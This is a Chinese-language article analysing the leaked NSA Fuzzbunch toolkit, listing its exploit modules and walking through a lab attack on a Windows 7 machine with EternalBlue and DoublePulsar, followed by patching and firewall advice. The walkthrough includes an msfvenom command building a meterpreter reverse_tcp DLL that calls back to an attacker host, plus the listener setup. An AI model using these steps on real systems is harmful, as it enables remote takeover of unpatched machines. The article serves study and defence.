NSA Fuzzbunch分析与利用案例
Shadow Brokers泄露出一份震惊世界的机密文档,其中包含了多个 Windows 远程漏洞利用工具。本文主要介绍了其中一款工具Fuzzbunch的分析与利用案例
1 整体目录介绍
解压EQGRP_Lost_in_Translation-master.zip文件(下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation)。总共包含三个目录:
1. windows目录针对Windows操作系统的利用工具和相关攻击代码;
2. swift目录中是包含入侵swift银行系统的操作记录等相关证据;
3. oddjob目录是后门Rootkit等相关文档;

1.1 框架介绍
我们主要分析下windows这个目录。windows 目录下存在两个入口点,包含两部分工具:
1. fb.py
2. start_lp.py

1.2 FB模块介绍
fuzzbunch功能类似于metasploit,功能较为自动化。fuzzbunch下载地址https://github.com/fuzzbunch/fuzzbunch。fb.py 即 fuzzbunch 框架的入口文件,fb.py用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务(详见下文)。fuzzbunch 支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。



fuzzbunch框架除了命令解析,日志,IO等常规功能外,fuzzbunch使用的xml配置文件十分详细,可以配置payload的各个部分。Fuzzbunch会帮助各个需要调用的PE文件生成xml文件,加载并执行二进制文件,这些二进制文件依赖lib目录下的dll文件,其中EXAM 在fuzzbunch 代码中全称为EXPLOITMANAGER,拥有跨平台能力。




1.3 start模块介绍
start_lp.py 会启动一个由 java 编写的 GUI 工具,即 start.jar。包含多个模块,其中的pyo文件可以使用uncompyle6还原源代码。如下图:






2 fuzzbunch的插件列表和影响的服务与版本
2.1 ImplantConfig 植入工具模块
Darkpulsar 1.1.0 操控NTLM或 加载shellcode
Mofconfig 1.0.0
2.2 ListeningPost
内容未公开
2.3.Exploit 漏洞利用模块
Easybee 1.0.1Mdaemon漏洞
Easypi 3.1.0 IBM Lotus漏洞
Eclipsedwing 1.5.2MS08–067
Educatedscholar 1.0.0MS09–050
Emeraldthread 3.0.0MS10–061
Emphasismine 3.4.0IBM Lotus Domino漏洞
Englishmansdentist 1.2.0OUTLOOK EXCHANGE漏洞
Erraticgopher 1.0.1SMB漏洞
Eskimoroll 1.1.1MS14–068
Esteemaudit 2.1.0RDP漏洞
Eternalromance 1.4.0SMBv1 漏洞
Eternalsynergy 1.0.1SMB漏洞
Ewokfrenzy 2.0.0Domino漏洞
Explodingcan 2.0.2IIS漏洞利用工具
Zippybeer 1.0.2 域控漏洞
2.4 Touch 信息探测、漏洞测试模块
Architouch 1.0.0
Domaintouch 1.1.1
Eclipsedwingtouch 1.0.4
Educatedscholartouch 1.0.0
Emeraldthreadtouch 1.0.0
Erraticgophertouch 1.0.1
Esteemaudittouch 2.1.0
Explodingcantouch 1.2.1
Iistouch 1.2.2
Namedpipetouch 2.0.0
Printjobdelete 1.0.0
Printjoblist 1.0.0
Rpctouch 2.1.0
Smbtouch 1.1.1
Webadmintouch 1.0.1
Worldclienttouch 1.0.1
2.5 Payload Payload模块
Doublepulsar 1.3.1支持 DLL 后门 和 shellcode
Jobadd 1.1.1
Jobdelete 1.1.1
Joblist 1.1.1
Pcdlllauncher 2.3.1
Processlist 1.1.1
Regdelete 1.1.1
Regenum 1.1.1
Regread 1.1.1
Regwrite 1.1.1
Rpcproxy 1.0.1
Smbdelete 1.1.1
Smblist 1.1.1
Smbread 1.1.1
Smbwrite 1.1.1
2.6 Special 专用模块
Eternalblue 2.2.0 SMB漏洞 MS17–010
Eternalchampion 2.0.0SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147
检测与建议
通过自检,可以自行判断服务器中是否存在doublepulsar后门,Github上开放了检测工具:detect_doublepulsar
ms17-017 检查 ,可通过metasploit代码:
smb_ms17_010.rbMicrosoft的影响评价:Protecting customers and evaluating risk
ms17-101 影响与升级公告:Microsoft SecurityBulletin MS17-010 - Critical

3 fuzzbunch实验环境介绍
3.1 靶机环境介绍:
1. Fuzzbunch运行环境,操作系统:Windows 7;
2. 目标靶机,操作系统:Windows7,通过实验,需要配置防火墙开放服务,或者直接关闭防火墙;

3.1 控制端系统,操作系统:Kali1.1;

3.2 漏洞利用流程,以Eternalblue举例:
1. 使用Python2.6运行fb.py,需要安装pywin32等组件。运行成功会展现以下界面:
2. 填写默认配置,目标IP地址、CallbackIP、日志地址、项目名称tcc等。如下图:
3. 运行”?”命令,可以列出帮助手册,如下图,有很多Core Commands:
4. 键入use命令,可以列出当前可以使用的插件,和MSF风格很类似:
5. 选择”Eternalblue”,并执行。如下图,fb会自动载入预设配置:
6. 进行相应配置,包含网络连接超时配置、目标IP、目标端口、是否验证、是否验证后门、最大exploit次数、系统选择等。如下图:

7. 模式选择:1>FB。进行配置,在配置完成后,会显示Eternalblue插件的配置详情。如下图:

8. 执行Eternalblue,用于验证目标靶机是否存在漏洞。如下图:
9. 依据Eternalblue插件的运行结果显示,目标主机存在漏洞,(当目标为2018 R2版本需要所需时间较长,中间出现的报错可以无视,会自动修改参数),如下图:
10. 在验证存在漏洞之后,接下去使用Doublepulsar去利用该漏洞,fb会自动载入一些预设配置。如下图:

11. 针对Doublepulsar插件配置项进行配置,依据靶机信息,选择不同的参数,我这里使用的是x86 win7,如下图:

12. 这里需要选择后门的类型,我这里选择的是2> RunDLL。如下图:
13. 接下去需要给出后门dll。可以使用kali中的msfvenon去生成对应后门dll。选择相应的参数、平台、后门类型等,命令:msfvenom -a x86--platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106LPORT=8888 -f dll > tcc.dll。如下图:

14. 在kali进行反向TCP监听的配置,如下图:
命令:use exploit/multi/handler,
payload:windows/meterpreter/reverse_tcp

15. 拷贝kali生成的tcc.dll文件至fb系统中,进行配置,如下图:
16. 配置注入的dll的程序,我们选择explorer.exe。如下图:
17. 配置目标地址、目标端口,最后会显示Doublepulsar的配置列表,如下图:
18. 执行Doublepulsar,观察运行结果。如下图,运行且注入成功:
19. 切换到kali,查看meterpreter,靶机已经主动连接进入meterpreter控制端。漏洞利用成功,如下图:

20. 运行shell,执行whoami指令。如下图:
4 总结
从这次事件中,可以看出NSA下的方程式组织技术能力出众,这次部分0-Day漏洞波及范围甚广,估计方程式组织还会有其它未公布的各种0-Day。就针对目前Fuzzbunch中的漏洞利用工具包含多个0-Day漏洞,建议厂商:
升级系统补丁,确保补丁更新到最新版本。
关闭没有补丁的服务
使用防火墙、或者安全组配置安全策略,屏蔽或添加filter对包括445、3389在内的系统端口访问。
NSA Fuzzbunch分析与利用案例的更多相关文章
- full gc频繁的分析及解决案例
full gc频繁的分析及解决案例 2016-04-14 09:20:54 0个评论 来源:end's coding life 收藏 我要投稿 现象 ? 1 系统报警full ...
- FakeID签名漏洞分析及利用(二)
本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...
- word漏洞分析与利用
众所周知,溢出漏洞从应用形式上可分为远程服务溢出漏洞和客户端(本地)溢出漏洞两类.远程服务溢出漏洞大家很熟悉了,红色代码.冲击波.振荡波等蠕虫都利用了此类漏洞,漏洞的调试和利用有相应的一套方法,前面的 ...
- 【转】cve2014-3153 漏洞之详细分析与利用
背景学习: Linux Futex的设计与实现 使用者角度看bionic pthread_mutex和linux futex实现 By kernux TopSec α-lab 一 漏洞概述 这个漏洞是 ...
- 《gis空间分析及应用案例解析》培训总结
<gis空间分析及应用案例解析>培训总结 来源:常德水情 作者:唐校准 发布日期:2014-01-02 2013年12月2630日由中国科学院计算技术研究所教育中心组织的< ...
- Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...
- CVE-2014-3153分析和利用
本文是结合参考资料对CVE-2014-3153的分析,当然各位看官可以看最后的资料,他们写的比我好. 在看CVE-2014-3153之前我们用参考资料4中例子来熟悉下这类漏洞是如何产生的: /** * ...
- 【逆向实战】ES文件浏览器未授权访问漏洞(CVE-2019-6447)具体分析及利用
/作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 漏洞简介 CVE-2019-6447是Android端上的一个知名软件:ES文件浏览器的 ...
- Java练习小题_求一个3*3矩阵对角线元素之和,矩阵的数据用行的形式输入到计算机中 程序分析:利用双重for循环控制输入二维数组,再将a[i][i]累加后输出。
要求说明: 题目:求一个3*3矩阵对角线元素之和,矩阵的数据用行的形式输入到计算机中 程序分析:利用双重for循环控制输入二维数组,再将 a[i][i] 累加后输出. 实现思路: [二维数组]相关知识 ...
随机推荐
- 开发Nagios监控passwd文件插件
第一步:开发脚本 [root@Admin libexec]# pwd /usr/local/nagios/libexec [root@Admin libexec]# cat check_passwd ...
- 20. Valid Parentheses - 括号匹配验证
Description: Given a string containing just the characters '(', ')', '{', '}', '[' and ']', determin ...
- 让Xcode日志输出中文
有的时候xcode打印后台返回的日志,明明后台返回的是中文,但是在xcode的日志里面却不是中文,而是unicode编码,这个就比较坑,因为看不到内容. 其实解决办法有两种: 第一种就是给xcode安 ...
- 原生JS实现弹出窗口的拖拽
上一篇说了一下弹出窗口功能的实现思路,一般情况下紧接着就会需要做到弹窗的移动,当然现在有很插件.库比如hammer可以使用,效率也非常好.但我觉得还是有必要了解一下原生JS的实现思路及方式,如下: 思 ...
- Spark处理日志文件常见操作
spark有自己的集群计算技术,扩展了hadoop mr模型用于高效计算,包括交互式查询和 流计算.主要的特性就是内存的集群计算提升计算速度.在实际运用过程中也当然少不了对一些数据集的操作.下面将通过 ...
- Access-自定义控件TabControl
p{ font-size: 15px; } .alexrootdiv>div{ background: #eeeeee; border: 1px solid #aaa; width: 99%; ...
- 腾讯IVWEB团队:WebRTC 点对点直播
作者:villainthr 摘自:villainhr WebRTC 全称为:Web Real-Time Communication.它是为了解决 Web 端无法捕获音视频的能力,并且提供了 peer- ...
- JAVA 发送邮件代码---发送文本内容: 内容使用\n 进行换行
依赖包:mail.jar JAR链接地址: http://pan.baidu.com/s/1o8LNl0Y 密码: ja52 package mail; import java.util.Proper ...
- Oracle的基本学习(三)—函数
一.字符函数 1.大小写控制函数 --lower:使字母变为小写-- --upper:使字母变为大写-- --initcap:使字符的第一个字母变为大写-- select lower('ABC') ...
- python作业设计:多级菜单,并可依次进入各级子菜单
'''作业三:多级菜单 三级菜单 可依次选择进入各子菜单 所需新知识点:列表.字典 ''' data = { "北京":{ "昌平":{ "沙河&qu ...